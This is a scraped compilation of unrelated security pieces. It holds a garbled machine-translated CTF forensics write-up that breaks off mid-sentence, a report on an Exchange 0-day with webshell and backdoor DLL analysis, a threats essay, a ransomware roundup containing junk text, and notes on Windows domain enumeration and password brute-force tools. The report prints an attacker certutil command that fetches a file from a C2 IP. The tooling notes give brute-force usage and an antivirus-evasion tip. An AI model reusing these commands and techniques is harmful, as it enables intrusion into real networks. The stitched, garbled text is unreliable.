Value.pfです。スタートアップのスピードアップ：PFファイルは、プログラムの起動に必要なリソースを記録します。これにより、次にプログラムが開始されると、オペレーティングシステムがこれらのリソースをより迅速にロードするのに役立ちます。フォレンジック分析：デジタルフォレンジックでは、PFファイルを使用してユーザーの動作を分析し、プログラムがいつ、どのように開始されるかを確認し、イベントのタイムラインの再構築を支援できます。クリーニングインパクト：PFファイルのクリーニングにより、アプリケーションが初めてゆっくりと起動する可能性がありますが、システムの全体的なパフォーマンスにはほとんど影響を与えません。概要：PFファイルは、プログラムのスタートアップパフォーマンスを最適化するためにWindows Systemsが使用するキャッシュファイルです。それらは特定のディレクトリに保存され、プログラムの開始時に作成または更新されます。デジタルフォレンジックの分野では、これらのドキュメントはユーザーの動作の分析にも役立ちます。 「PF」ファイルについてすでに学んだので、添付ファイルを直接ダウンロードして開き、パスワードが必要であることがわかりました。悲しいかな、それは最初は非常に奇妙でした。タイトルにパスワードはないと思っていたので、オーガナイザーはパスワードを提供しませんでした。それで、パスワードはオーガナイザーによって忘れられましたか？慎重に観察した後、ダウンロードされた添付ファイルは、いわゆる「ジップ」名であることがわかりました。 「base64」エンコードであるため、直接解読しました。また、パスワードが必要なことも成功しました。在这里插入图片描述

オンラインbase64デコードとデコード。在这里插入图片描述

zipパスワード：iampasswordは最終的に正常に減圧されました。それから私たちはそれを言った。 「プリフェッチ」を分析したい場合、分析にどのツールを使用する必要がありますか？これがマスターの要約です。 PECMD：使用法：PECMDは、Windows Prefetchファイルを解析および分析するために使用されるコマンドラインツールです。デジタルフォレンジック分析に非常に適した実行時間、パス、関連DLLなど、プリフェッチファイルに詳細情報を抽出できます。機能：バッチ処理をサポートし、CSVレポートを生成し、プリフェッチ形式の複数のWindowsバージョンを解析できます。 winprefetchView：使用：winprefetchViewは、プリフェッチファイルを表示および分析するためのシンプルなGUIツールです。プリフェッチディレクトリにファイルをすばやくリストし、プログラムの起動時間、最終実行時間など、各ファイルの詳細情報を表示できます。機能：フレンドリーなインターフェイス、シンプルな操作、プリフェッチファイルコンテンツの迅速な表示に適しています。これらの2つのツールは、プリフェッチファイルを分析する際に最も一般的に使用されており、単純な視聴から詳細なフォレンジック分析まで、さまざまなレベルのニーズに適しています。次に、最初に「PECMD」を使用して分析します。コマンドを使用します。 pecmd.exe -d d: \最新ダウンロード\ pecmd \ pretch -json output.txtコマンドを簡単に分析する。 PECMDツールを使用して、D: \最新ダウンロード\ PECMD \ PECMDディレクトリにあるプリフェッチファイルを解析し、出力結果をoutput.txtファイルにJSON形式のファイルに保存します。それを得る;在这里插入图片描述

最後に、現在のディレクトリで、作成した「出力」ファイルを見つけました。在这里插入图片描述

右クリックして「メモ帳」を選択して分析を開きます。

それを得る;在这里插入图片描述

この問題により、最も使用されているソフトウェアを見つけることができるため、最も使用されているソフトウェアのみを探します。次に、ここで「ランカウント」の英語翻訳は間違いなく実行されるため、「ランカウント」を見つけるには「ctrl+f」のみが必要であり、それをゆっくりと見てください。得る;在这里插入图片描述

しかし、私はそれが最も処刑されている人ではないことを発見しました。その後、38、71などがさらに多くあることがわかりました。また、最大の「82」をゆっくりと検索して確認しました。それを得る;在这里插入图片描述

この時点で; flag {searchfilterhost.exe}拡張「pecmd」を使用して「プリフェッチ」を分析しました。それは解析であり、検索するメモ帳を開きます。少し面倒ではありませんか？なぜ！確かにこれよりも簡単な方法があります。次のことについて説明するツール「winprefetchview」が抽出されてダウンロードされました。次に、ここからツール「winprefetchview」を開きます。在这里插入图片描述次に、「オプション」をクリックし、「[詳細なオプション」を選択し、[プリフェッチ]位置を変更し、最後に[確認]をクリックします。得る;在这里插入图片描述

実行数を簡単な順序で直接並べ替えて、この方法は実際に最初の方法よりもはるかに便利であり、見るのがより直感的で明確であることを知ることができます。

4。失われた情報

在这里插入图片描述

質問バラバラには多くの有用な質問があります。要約しましょう。簡単に言えば、顧客の携帯電話番号を取り出して、小文字MD5暗号化のために提出しましょう。次に、添付ファイルをダウンロードして、2つのファイルを取得します。在这里插入图片描述

「ディスク」ファイルと「.raw」ファイルとは何かの簡単な分析。 「ディスク」ファイルとは何ですか？ 「ディスク」ファイルは通常、ストレージデバイスのミラーファイルを指します。これは、ハードディスク、パーティション、またはその他のストレージメディアの正確なコピーです。このファイルには、ファイルシステム、パーティションテーブル、ブートレコード、ディスクに保存されているすべてのファイルとフォルダーなど、ディスク上のすべてのデータが含まれています。目的：バックアップ、クローニングディスク、またはデータリカバリに一般的に使用されます。また、ディスクに保存されているデータを分析および再構築するためにディスクイメージを使用して、法的分析にも使用されます。形式：ディスクファイルは、img、iso、vmdk（仮想ディスクファイル）などのさまざまな形式で存在する場合があります。「.raw」ファイルとは何ですか？RAWファイルは通常、生ディスクイメージを指します。これは、ディスク上のすべての生データを含む非圧縮ミラー形式で、ディスクまたはパーティションバイトバイト全体を複製します。機能：非圧縮：RAWファイルには圧縮または変更されたデータが含まれておらず、最も元のディスク画像形式です。普遍性：シンプルで普遍的な形式により、RAWファイルは、さまざまなツールやオペレーティングシステムで認識および使用できます。目的：デジタルフォレンジック、データ回復、仮想化環境で広く使用されています。RAWファイルの分析は、削除されたファイルの回復、ファイルシステム構造の分析、その他の低レベルのデータ操作を実行するのに役立ちます。概要ディスクファイル：通常、ストレージデバイス全体のコピーであるディスクイメージファイルを指します。RAWファイル：ディスク上の生データを含む非圧縮ディスクイメージ形式であり、フォレンジック分析とデータの回復によく使用されます。繰り返しになりますが、それがどんな文書であるかを知っているので、それらをどのように分析しますか？もちろん、ディスクイメージファイル（「ディスク」ファイルまたは「.raw」ファイル）を分析する場合、以下は一般的に使用されるツールです。ボラティリティ2.6:目的：ボラティリティはメモリフォレンジック分析ツールです。主にメモリダンプ分析に使用されますが、ディスク画像のデータを分析するためにも使用できます。ディスクミラーリングと協力することにより、ボラティリティは、プロセス、ネットワーク接続、レジストリエントリなどのメモリ関連データを抽出および分析できます。機能：強力な機能は、詳細な分析と証拠のフォレンジック作業に適した複数のオペレーティングシステムのメモリ分析をサポートします。 Elcomsoft Forensic Disk Decryptor:目的：Elcomsoft Forensic Disk Decryptorは、暗号化されたディスクイメージファイルを解読するために特別に使用されます。 BitLocker、TrueCrypt、Veracrypt、およびその他の暗号化システムをサポートし、これらのミラーファイルからデータを抽出および分析するのに役立ちます。機能：暗号化されたディスクイメージに遭遇したときに使用するのに特に適した強力な復号化機能。

一般に、ボラティリティ2.6：はメモリフォレンジック分析に使用され、ディスク画像と組み合わせて高度なデータ抽出にも使用できます。 Elcomsoft Forensic Disk Decryptor：特別に使用

HireHackking

8月初，在執行安全監控和事件響應服務時，GTSC SOC團隊發現一個關鍵基礎架構受到攻擊，經過分析這是專門針對Microsoft Exchange應用程序的。在調查期間，GTSC Blue Team專家確定，攻擊者利用了一個未公開的Exchange安全0 day 漏洞，因此立即制定了臨時緩解計劃。與此同時，安全專家開始研究和調試Exchange反編譯代碼，以查找漏洞並利用代碼。經分析，該漏洞非常嚴重，使得攻擊者能夠在受攻擊的系統上執行RCE。 GTSC立即將該漏洞提交給Zero Day Initiative (ZDI)，以便與微軟合作，盡快準備修補程序。 ZDI驗證並確認了2個漏洞，CVSS評分分別為8.8和6.3。

1.png

不過截至目前，修復程序還未發布，GTSC已經發現其他客戶也遇到了類似攻擊。經過仔細測試，研究人員確認這些系統正受到此0 day零日漏洞的攻擊。

漏洞信息在為客戶提供SOC服務時，GTSC Blueteam在IIS日誌中檢測到與ProxyShell漏洞格式相同的攻擊請求,如下所示：

加图1.png

研究人員還檢查了其他日誌，發現攻擊者可以在受攻擊的系統上執行命令。這些Exchange服務器的版本號表明已安裝最新更新，因此使用Proxyshell漏洞進行攻擊的行為讓研究人員可以確認這是一個新的0 dayRCE漏洞。這些信息被發送給了安全分析師後，他們對為什麼漏洞利用請求與ProxyShell bug類似？ RCE是如何實施的？等問題進行了研究。

經過分析，研究人員成功地找到瞭如何使用上述路徑訪問Exchange後端中的組件並執行RCE。然而，處於安全考慮，目前我們還不想發布該漏洞的技術細節。

利用後（Post-exploit）活動在追踪到有關攻擊示例後，研究人員開始收集信息並在受害者的系統中建立一個立足點。另外，攻擊者還使用各種技術在受影響的系統上創建後門，並對系統中的其他服務器執行橫向移動。

Webshell我們檢測到Webshell被丟棄到Exchange服務器，其中大部分是模糊的。通過用戶代理，我們檢測到攻擊者使用了Antsword，這是一個基於中文的開源跨平台網站管理工具，支持webshell管理。

加图2.png

另一個值得注意的特點是，攻擊者還將文件RedirSuiteServiceProxy.aspx的內容更改為webshell內容。 RedirSuiteServiceProxy.aspx是Exchange服務器中可用的合法文件名。

在另一個客戶的事件響應過程中，GTSC注意到攻擊組織使用了另一個webshell模板。

Filename:errorEE.aspx

SHA256:be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257

Ref:https://github.com/antonioCoco/SharPyShell命令執行除了收集系統信息外，攻擊者還通過certutil下載文件並檢查連接，certutil是Windows環境中可用的合法工具。

“cmd”/ccd/d'c:\\PerfLogs'certutil.exe-urlcache-split-fhttp://206.188.196.77:8080/themes.aspxc:\perflogs\techo[S]cdecho[E]

'cmd'/ccd/d'c:\\PerfLogs'certutil.exe-urlcache-split-fhttps://httpbin.org/getc:\testecho[S]cdecho[E]需要注意的是，每個命令都以字符串echo[S]cdecho[E]結尾。

此外，攻擊者還將惡意DLL注入內存，在受攻擊的服務器上釋放可疑文件，並通過WMIC執行這些文件。

可疑文件在服務器上，研究人員檢測到exe和dll格式的可疑文件：

3.png

在可疑文件中，根據服務器上執行的命令，研究人員確定all.exe和dump.dll負責在服務器系統上轉儲憑證。之後，攻擊者使用rar.exe壓縮轉儲文件並複製到Exchange服務器的webroot中。不幸的是，在響應過程中，上述文件在受攻擊的系統中不再存在，可能是由於攻擊者刪除了證據。

被釋放到C:\PerfLogs\文件夾中的cmd.exe文件是標準的Windows命令行工具cmd.exe。

惡意軟件分析DLL信息

文件名：Dll.Dll

Sha256:

074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82

45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9

9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0

29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3

c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2DLL分析GTSC分析一個特定的樣本(074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82)來描述惡意代碼的行為，其他DLL樣本有類似的任務和行為，只是偵聽器配置不同。

DLL由兩個類組成：Run和m，每個類都調用執行不同任務的方法。具體地說：

Run類創建一個偵聽器，偵聽路徑為https://*:443/ews/web/webconfig/的端口443的連接。

5.png

偵聽後，惡意軟件創建一個調用r的新線程。方法r執行以下操作：

1.檢查接收到的請求正文中是否有數據，如果沒有，則返回結果404。

2.相反，如果請求包含數據，DLL將繼續處理if分支內的流：

檢查收到的請求是否包含“RPDbgEsJF9o8S=”。如果是，調用類m中的方法i來處理收到的請求。從Run.m.i返回的結果將轉換為一個base64字符串。以以下格式返回給客戶端的結果：

6.png

m類方法i可以：

1.使用AES算法對收到的請求進行解密，其中請求的前16個字節是IV值，後16個字節為key值，其餘為數據。

2.解碼後，獲取數組中的第一個元素作為標誌，以處理定義的情況，處理定義的情況如下：

7.png

示例1：調用方法info。該方法主要負責收集系統信息，比如操作系統架構、框架版本、操作系統版本等信息。 GTSC用下圖模擬本示例。請求以以下格式發送：前16字節是IV值，後16字節是key值，後面是一個指定選項的標誌，其餘是數據。

base64 (IV | key | aes(flag|data))

8.png

示例2：調用方法sc，調用sc方法，該方法負責分配內存來實現shellcode。

9.png

示例3：調用兩個方法p和r。方法p處理由“|”字符分隔的數據，保存到數組array3。數組array 3將前兩個元素作為方法r的參數，該方法負責執行命令。

10.png

示例4：調用方法ld，該方法負責以以下這種格式列出目錄和文件信息：

加图3.png

11.png

示例5：調用方法wf，該方法負責寫入文件：

12.png

示例6：調用方法rf，該方法負責讀取文件：

13.png

示例7：創建文件夾；

示例8：刪除文件或文件夾；

示例9：移動文件；

示例10：設置文件時間；

14.png

示例11：加載並執行從請求接收的C#字節碼。

15.png

其他DLL示例具有類似的任務，只是偵聽器配置不同，如下所示：

Victim 1:

https://*:443/ews/web/webconfig/

https://*:443/owa/auth/webcccsd/

https://*:444/ews/auto/

https://*:444/ews/web/api/

Victim 2:

http://*:80/owa/auth/Current/script/

https://*:443/owa/auth/Current/script/

GTSC還檢測到DLL被注入到svchost.exe進程的內存中。 DLL將數據發送和接收連接到二進製文件中固定的地址137[.]184[.]67[.]33中。使用RC4加密算法使用C2發送和接收數據，其中密鑰將在運行時生成。

16.png

臨時緩解措施GTSC的直接事件響應程序已經發現了有1個組織成為利用這一0 day漏洞的攻擊活動的受害者。此外，可能還有許多其他組織被利用，但尚未被發現。在等待正式補丁的同時，GTSC提供了一個臨時緩解措施，通過在IIS服務器上的URL Rewrite rule模塊添加一條規則來阻止帶有攻擊指示器的請求，從而緩解攻擊。

在前端自動發現中，選擇選項卡“URL重寫”，選擇“請求阻止”

17.png

將字符串“.*autodiscover\.json.*\@.*Powershell.*”添加到URL路徑：

18.png

條件輸入：選擇{REQUEST_URI}：

19.png

我們建議全世界正在使用Microsoft Exchange Server的所有組織或企業盡快檢查、審查並應用上述臨時補救措施，以避免潛在的攻擊。

檢測方法為了幫助組織檢查他們的Exchange服務器是否已被此漏洞利用，GTSC發布了掃描IIS日誌文件的指南和工具（默認存儲在%SystemDrive%\inetpub\logs\LogFiles文件夾中）：

方法1：使用powershell命令：

加图4.png

方法2：使用GTSC開發的工具：基於漏洞簽名，我們構建了一個比使用powershell更短的搜索時間的工具。下載鏈接：https://github.com/ncsgroupvn/NCSE0Scanner。

HireHackking

雖然互聯網無疑帶來了新的好處，但也帶來了新的問題，因為網絡犯罪分子看到我們越來越依賴網絡連接後企圖大做文章。

網絡釣魚郵件、惡意軟件及勒索軟件攻擊，或竊取銀行資料、密碼及其他個人信息，互聯網為惡意黑客提供了眾多新的途徑來撈錢財、搞破壞。比如，只要看看關鍵基礎設施、學校和醫院如何受到了網絡攻擊的影響。

我們尚未完全保護網絡免受如今的互聯網威脅，不過技術已經在邁進，帶來了我們必須防備的新威脅。

量子計算：密碼破解和貨幣挖掘量子計算是最重大的技術突破之一，它有望能夠快速解決經典計算機無力處理的複雜問題。

這一進步將給科研和社會帶來好處的同時，也會帶來新的挑戰。最值得注意的是，功能強大的量子計算可以快速破解數十年來我們用來保護眾多方面的加密算法，包括網上銀行、安全通信和數字簽名。

目前，量子計算成本高昂，開發量子計算所需的專業知識僅限於大型科技公司、研究機構和政府。但就像任何創新技術一樣，量子計算最終會變得更商業化、更普及，網絡犯罪分子會企圖利用量子技術。

思科Talos的安全研究技術負責人Martin Lee表示，屆時量子計算能夠破解當前的加密算法。 20年前完全合適的加密密鑰長度再也不合適了。

美國網絡安全和基礎設施安全局（CISA）此前警告，現在須採取行動，幫助保護網絡免受借助量子計算的網絡攻擊，尤其是那些支持關鍵國家基礎設施的網絡。

不過，雖然借助量子計算的破壞性網絡攻擊是未來的一大網絡安全威脅，但量子計算機本身可能會成為黑客的誘人目標。

不妨以挖掘加密貨幣的惡意軟件為例。攻擊者將這種惡意軟件安裝在計算機和服務器上，悄然利用他人網絡的資源來挖掘加密貨幣，從中牟利，這一切無需為消耗的資源或算力付費。

比特幣等加密貨幣是由計算機通過解決複雜的數學問題生成的，這類數學問題用量子計算機網絡來解決比較容易。這意味著，如果網絡犯罪分子能夠在量子計算機上植入挖掘加密貨幣的惡意軟件，一下子就能暴富，自己幾乎不需要花一分錢。

趨勢科技的高級防病毒研究員David Sancho表示，只要感染一台量子計算機，就可以開始計算非常複雜的算法。

如果你在量子計算機上有一個加密貨幣礦工軟件，將極大地提高挖礦能力，這成為網絡攻擊的目標，很容易做出這樣的預測。

利用人工智能和機器學習但量子計算不是網絡犯罪分子企圖利用的唯一新興技術，預計他們還會利用人工智能和機器學習方面的進展。

與量子計算一樣，人工智能和機器學習將推動眾多領域的創新，包括機器人及無人駕駛汽車、語音及語言識別以及醫療保健等。

能適應和學習的人工智能可用於正道，但最終一旦人工智能變得更普遍，網絡犯罪分子早晚會利用它幫助提高網絡攻擊的成效。

WithSecure的首席研究官Mikko Hyppönen表示，我們開始看到惡意軟件活動、勒索軟件活動和網絡釣魚活動完全由機器學習框架自動化運作。

利用這項技術的一種手段是，編寫基於文本的生成算法來發送和回復常見的垃圾郵件或商業電子郵件入侵（BEC）活動。

犯罪分子可以依靠一種算法來分析哪些響應最有可能是值得回复的真正受害者，而不是仍然不為所動的人，或者將惡作劇回復發回給垃圾郵件發送者的人，而不是需要人花時間來撰寫和回复郵件。這種現狀意味著你到頭來被機器人程序欺騙。

網絡犯罪分子還可能利用機器學習方面的進展，開發自編程的智能惡意軟件，而不是需要開發人員來支持它，這種惡意軟件可以通過自動應對遇到的網絡防禦來更新自己，從而最大限度地發揮成效。

Hyppönen表示，可以想像，當自編程程序變得功能比現在更強大時，可以完成人類創建的功能，這聽起來很好，但如果換成勒索軟件，情況就不容樂觀了。

勒索軟件可能改變代碼，變得更難理解，而且每次都不一樣，它可能嘗試創建檢測不到的版本。這一切在技術上是可行的，這一幕早晚會出現。

深度偽造但是人工智能被用來構成網絡威脅不僅僅是互聯網的未來問題，如今已經在上演：深度學習被用來支持深度偽造（deepfake），這種視頻看起來像是真實的人或活動，但實際上是假的。

深度偽造被用於政治虛假信息宣傳活動和惡作劇以愚弄政客，它們已經被用於增強BEC及其他欺詐攻擊，網絡犯罪分子使用深度偽造音頻，說服員工授權向攻擊者擁有的賬戶轉移大額資金。

Fortalice Solutions首席執行官兼白宮前首席信息官Theresa Payton表示，深度偽造視頻將用於實施犯罪活動。不僅僅用於操縱，還用於宣傳虛假信息和錯誤信息。

以面向公眾的CEO們為例。他們上電視，發表演講，網上有他們的視頻，比較容易找到他們聲音的錄音，騙子者已經可以通過深度偽造技術利用這些資源模仿他們的聲音。

畢竟，如果員工接到公司負責人的電話，告訴他們做某事，他們很可能會照辦，實施這類攻擊的網絡犯罪分子對此心知肚明。

已有這樣的先例：深度偽造音頻被用來成功地說服某人將資金轉移到不該轉移的地方。隨著深度偽造背後的技術不斷改進，這意味著辨別真假的難度只會越來越大。而越來越讓人擔心的是，我們缺乏真正打擊這種活動的能力。

受感染的物聯網說到互聯網的未來，深度偽造不是網絡威脅可能影響我們日常生活的唯一領域。智能物聯網設備日益成為我們日常生活中的一部分，各種傳感器、電器、可穿戴設備及其他聯網產品出現在家庭、辦公室和工廠等場所。

雖然將物聯網設備連接到家庭和工作場所網絡有一定的優點，但聯網程度提高也為網絡犯罪分子伺機作案提供了更大的攻擊面。

如果為日常設備添加功能和連接，它們變得容易被攻擊。原本不容易被攻擊的設備變得容易被攻擊。不存在安全的計算機，也不存在無法攻破的設備。這是當下發生的一幕，無法阻止，而且會越來越隱蔽。

想想家用電器：它們越來越有可能變得“智能”、聯網。從電視到牙刷，任何東西現在都可以聯網。但對於家電製造商來說，製造聯網設備是比較新的現象，以前許多設備不需要考慮網絡安全威脅。一些廠商甚至可能在設計過程中根本沒考慮到這一點，因而產品容易受到黑客攻擊。

雖然黑客攻擊咖啡機或魚缸聽起來並不令人擔憂，但這類設備是網絡上的節點，一旦被訪問，可以作為跳板，進而攻擊更重要的設備和敏感數據。

雖然物聯網安全有望逐漸改進，但還有另一個問題要考慮。已經有成千上萬缺乏安全的物聯網設備，這些設備甚至可能無法打上安全補丁。

想想幾年後多少智能手機無法接收安全補丁。再想一想迅猛發展的物聯網，如果冰箱或汽車設備可能繼續使用數十年，將會發生什麼？

沒有哪家軟件開發商會支持20年前編寫的軟件。如果廠商不再支持其設備的更新，就應該開放源代碼，以便別人支持更新。

聯網設備已經在整個社會無處不在，整個智慧城市將成為常態。但如果網絡安全和合規不是推動這個趨勢的關鍵力量，可能會給每個人帶來負面影響。

如果你不解決這些問題，將會以前所未有的速度遭到規模空前的攻擊。這確實令人不安。勒索軟件攻擊早晚會劫持智慧城市。智慧城市將成為目標，我們會遇到某種程度的持續性破壞。

網絡安全界上演軍備競賽儘管潛在威脅初露端倪，但業界人士對互聯網未來還是抱以樂觀態度。雖說網絡犯罪分子會使用新技術來幫助改進攻擊水平，但負責保護網絡的人士也會運用同樣的技術幫助防止攻擊。

我們的這種能力越來越強：為惡意行為建立模型，然後使用人工智能、大數據、分析及不同類型的機器學習算法，繼續改進技術。

現在無法阻止一切，因為網絡犯罪分子總是在調整策略，但業界確實能夠阻止更多的低中級類別的威脅。網絡安全在改善，即使新技術即將出現，這並不意味著網絡犯罪分子及其他惡意黑客會輕鬆得逞。

如果比較今天和十年前的計算機安全，就會發現我們在安全方面變得越來越好，攻擊者趁虛而入變得越來越難。

互聯網未來的穩定性取決於今後依然是這樣子。

HireHackking

FortiGuard Labs每兩週收集一次關於勒索軟件變體的數據，追踪分析發現Snatch，BianLian 和Agenda都出現了最新的變體。這三個惡意軟件都是用Go編程語言(Golang)編寫的。

马云惹不起马云受影響的平台：Microsoft Windows

马云惹不起马云受影響方：Microsoft Windows 用戶

马云惹不起马云影響：加密受感染設備上的文件並要求贖金才能解密文件

马云惹不起马云 嚴重性級別：高

SnatchSnatch勒索軟件至少從2018年底就開始活躍了。 2021年11月30日，Snatch勒索組織在其數據站點添加了一條條目，內容涉及入侵沃爾沃汽車公司的服務器並竊取文件，同時還附上了被盜文件的屏幕截圖作為證據。

Snatch勒索軟件是最早用Go編程語言的組織，當時用Go編寫的勒索軟件非常罕見。巧合的是，本文中涉及的所有其他勒索軟件變種都是用Go編寫的。

Snatch 勒索軟件是一種文件加密器，以使用著名的文件擴展名“.snake”而聞名，它會附加到加密文件中。但是，已觀察到其他文件擴展名。其勒索信的文件名也因變體而異。

已報告的Snatch 勒索軟件感染媒介是RDP（遠程桌面協議）憑證暴力破解。從Windows 11 內部版本22528.1000 開始，Microsoft 默認啟用了帳戶鎖定策略，該策略會在登錄嘗試失敗時鎖定用戶帳戶。這不僅使RDP 暴力破解變得更加困難，而且還使任何其他密碼猜測攻擊變得更加困難。

最新的Snatch 勒索軟件變種會加密受害者設備上的文件，並將“.gaqtfpr”擴展名附加到受影響的文件中。它還會刪除一個文本文件“HOW TO RESTORE YOUR FILES.TXT”。該勒索信包含兩個聯繫電子郵件地址以及受害者在向攻擊者發送電子郵件時必須遵循的特定說明。

1.png

Snatch勒索軟件最新變體發出的勒索信

2.png

被最新Snatch 勒索軟件變種加密的文件

BianLian用Go編程語言編寫的BianLian於2022年7月中旬首次被發現，它的運營商本月增加了他們的命令和控制（C2）基礎設施，最近開始將受害者添加到其Tor 上的數據洩露網站上。截至撰寫本文時，至少有20家公司成為了其受害者。不過，攻擊者很有可能隱瞞了支付贖金的受害者的數量，BianLian勒索軟件的實際受害者可能會更多。

3.png

BianLian 勒索軟件公開的受害者列表

每個BianLian 受害者都被標記為他們的國家和他們所屬的行業。根據可用的標籤，它的勒索軟件受害者至少在美國、英國和澳大利亞。目標行業包括醫療保健、教育、律師事務所、建築、媒體、製藥、營銷、度假村和金融。

4.png

BianLian勒索軟件攻擊者對受害者的分類標籤

每個受害者都有一個專門的頁面。其中包括受害企業的描述、首席執行官或公司總裁的姓名、他們的個人收入、這些公司的收入、資產和收入，以及洩露的文件中包含哪些信息。

5.png

BianLian 勒索軟件數據洩露網站上發布的受害者信息

有趣的是，Colin Grady 最近觀察到，由一些勒索軟件攻擊者操作的洩漏網站在2022 年8 月26 日關閉了。不過，其中一些仍存在斷斷續續的使用，其中就包括BianLian和Snatch勒索軟件。

攻擊者還警告受害者，他們必須在十天內支付贖金。否則，竊取的信息將被發佈在該勒索軟件組織的Tor網站上。為了給受害者施加額外壓力，攻擊者聲稱將向受害者的客戶和業務夥伴發送指向被盜信息的鏈接，以損害受害者的聲譽。受害者被指示使用Tox或通過電子郵件聯繫攻擊者。由於贖金金額和支付方式沒有寫在勒索信上，因此受害者將與攻擊者進行協商。

6.png

BianLian勒索軟件的勒索信

7.png

數據洩露網站上列出的聯繫方式

8.png

BianLian 勒索軟件加密的文件

由BianLian 勒索軟件加密的文件具有“.bianlian”文件擴展名。

AgendaAgenda是另一個基於Go的勒索軟件，於2022年6月中旬出現，根據VirusTotal報告的相關樣本，該勒索軟件可能已攻擊了南非、羅馬尼亞、立陶宛、印度、泰國、美國、加拿大和印度尼西亞。

據報導，Agenda勒索軟件的感染載體是通過使用竊取的憑證登錄到面向公眾的服務器。然後，攻擊者通過受害者的網絡傳播，攻擊其他計算機。一旦攻擊者獲得網絡上臨界數量的設備的訪問權，Agenda勒索軟件就會被部署到受攻擊的設備上。

為了規避反病毒解決方案的檢測，勒索軟件以安全模式加密文件。這種技術已在其他臭名昭著的勒索軟件家族中觀察到，例如REvil、BlackMatter 和AvosLocker。附加到加密文件的文件擴展名因變體而異。例如，如果勒索軟件變種使用“.fortinet”作為文件擴展名，“blog.docx”將更改為“blog.fortinet”。它的勒索通知的名稱以它添加到受影響文件的文件擴展名開始，然後是“-RECOVER-README.txt”。

9.png

Agenda勒索軟件留下的勒索信

反病毒簽名通過FortiGuard的Web過濾、防病毒、FortiMail、forclient和FortiEDR服務，Fortinet客戶已經可以免受這些惡意軟件變體的攻擊，如下所示：

SnatchFortiGuard Labs 檢測到本文中描述的最新的Snatch勒索軟件變體，具有以下反病毒簽名:

W64/Filecoder.D083 ! tr.ransom

以下反病毒特徵可以檢測到已知的“Snatch”勒索軟件變體樣本：

马云惹不起马云W64/Snatch.A!tr.ransom

马云惹不起马云W32/Snatch.B!tr

马云惹不起马云W32/Snatch.7991!tr.ransom

马云惹不起马云W64/Snatch.BD11!tr.ransom

马云惹不起马云W32/Snatch.C09B!tr.ransom

马云惹不起马云W64/Ransom.A!tr

马云惹不起马云W32/Filecoder.A!tr.ransom

马云惹不起马云W32/Filecoder.NYH!tr

马云惹不起马云W32/Filecoder.NYH!tr.ransom

马云惹不起马云W32/Filecoder.NVR!tr.ransom

马云惹不起马云W32/Filecoder.74A0!tr.ransom

马云惹不起马云W64/Filecoder.D083!tr.ransom

马云惹不起马云W64/Filecoder.AA!tr.ransom

马云惹不起马云W32/Crypmod.ADEJ!tr.ransom

马云惹不起马云W32/DelShad.AM!tr.ransom

马云惹不起马云W32/Trojan_Ransom.AB!tr

马云惹不起马云W32/PossibleThreatBianLianFortiGuard實驗室檢測已知的BianLian勒索軟件樣本，其特徵如下:

W32/Filecoder.BT!tr.ransomAgendaFortiGuard實驗室通過以下反病毒簽名檢測到已知的Agenda勒索軟件變體:

W32/Agent.AK!tr.ransom

W32/PossibleThreat緩解措施1.由於易於中斷、對日常運營的破壞、對組織聲譽的潛在影響，以及不必要的破壞或發布個人身份信息(PII)等，保持所有AV和IPS簽名的最新是至關重要的；

2.由於大多數勒索軟件是通過網絡釣魚發送的，組織應該考慮利用旨在培訓用戶了解和檢測網絡釣魚威脅的Fortinet解決方案；

3.FortiPhish網絡釣魚模擬服務使用真實世界的模擬來幫助組織測試用戶對網絡釣魚威脅的意識和警惕，並在用戶遇到有針對性的網絡釣魚攻擊時培訓和加強適當的做法。

4.不支付贖金。像CISA、NCSC、FBI和HHS這樣的組織警告勒索軟件受害者不要支付贖金，部分原因是支付並不能保證文件會被恢復。根據美國財政部外國資產控制辦公室(OFAC)的一項建議，贖金支付還可能鼓勵對手將目標鎖定在其他組織，鼓勵其他攻擊者傳播勒索軟件。

HireHackking

0x01. NetLocalGroupGetMembers

功能：查询目标服务器本地管理组的成员

yzegalkkkhi14138.png

0x02. NetLocalGroupEnum

功能：返回指定服务器上的所有本地组

imlxc0xa5ru14140.png

0x03. NetGroupGetUsers

功能：返回指定服务器指定组的所有成员

查询域里的各个组里的成员，IP必须是域控IP

ynhubimtp4x14141.png  

0x04. NetUserEnum

功能：查询目标服务器所有用户，包括隐藏用户

ffaz2awy0uq14150.png

dqdofqwy3fs14151.png  

0x05. wnetaddconnection2a

功能：建立IPC连接，可以将目标共享目录映射到本地磁盘

upvtn00hlew14152.png

0x06. WNetCancelConnection2

功能：删除IPC连接

bq5n0fpdrf214153.png

0x07. EnuDomainUser

功能：枚举域用户

1. 介绍

适用于：当前边界机器权限是工作组机器，通过nltest或者nbtscan等工具发现内网有域环境，并且找到域控IP，但是没有域用户的权限下渗透思路。

前提条件：能够和域控建立空连接

实现原理：域管默认都会有administrator用户，通过windows api查出administrator域管的SID，然后遍历SID范围，枚举出域成员（域用户和域机器）。

SID范围：域用户和域机器的SID一般是1000以上，所以使用工具的时候遍历1000以上的SID

2. 工具使用

使用帮助：

C:\Users\Administrator\Desktop>EnuDomainUser.exe
Usage: EnuDomainUser.exe <DC-IP> <domainname\username> <start Sid> <end Sid> <t_num>
       EnuDomainUser.exe \\192.168.52.2 hack\administrator 1000 2000 100
       EnuDomainUser.exe \\域控IP 域名\域用户名<默认administrator> 起始Sid 末尾Sid 多线程数目

使用demo：

EnuDomainUser.exe 192.168.52.2 hack\administrator 1000 2000 100

参数解释：

192.168.52.2  是域控IP
hack          是域名
administrator 是域管默认用户
1000          是遍历SID的起始
2000          是遍历SID的末尾-可以设置高一点，例如10000，20000等
100           是多线程的数目

0m0mghaayrh14154.png

dsa3tj1ayo514155.png  

0x08. BlastDomainUserPwd

功能：爆破域用户密码

1. 介绍

通过IPC连接->爆破域用户的密码

结合EnuDomainUser工具或者kerbrute工具获取域用户名列表，然后进行爆破

如果被360杀，改一下exe名字即可

设计思路：

  1. 如果能够和域控建立空连接，则用EnuDomainUser工具枚举遍历出所有域用户名
  2. 如果不能够和域控建立空连接，则用kerbrute工具爆破域用户名

当获取到一批域用户名后，开始尝试域用户密码的弱口令爆破

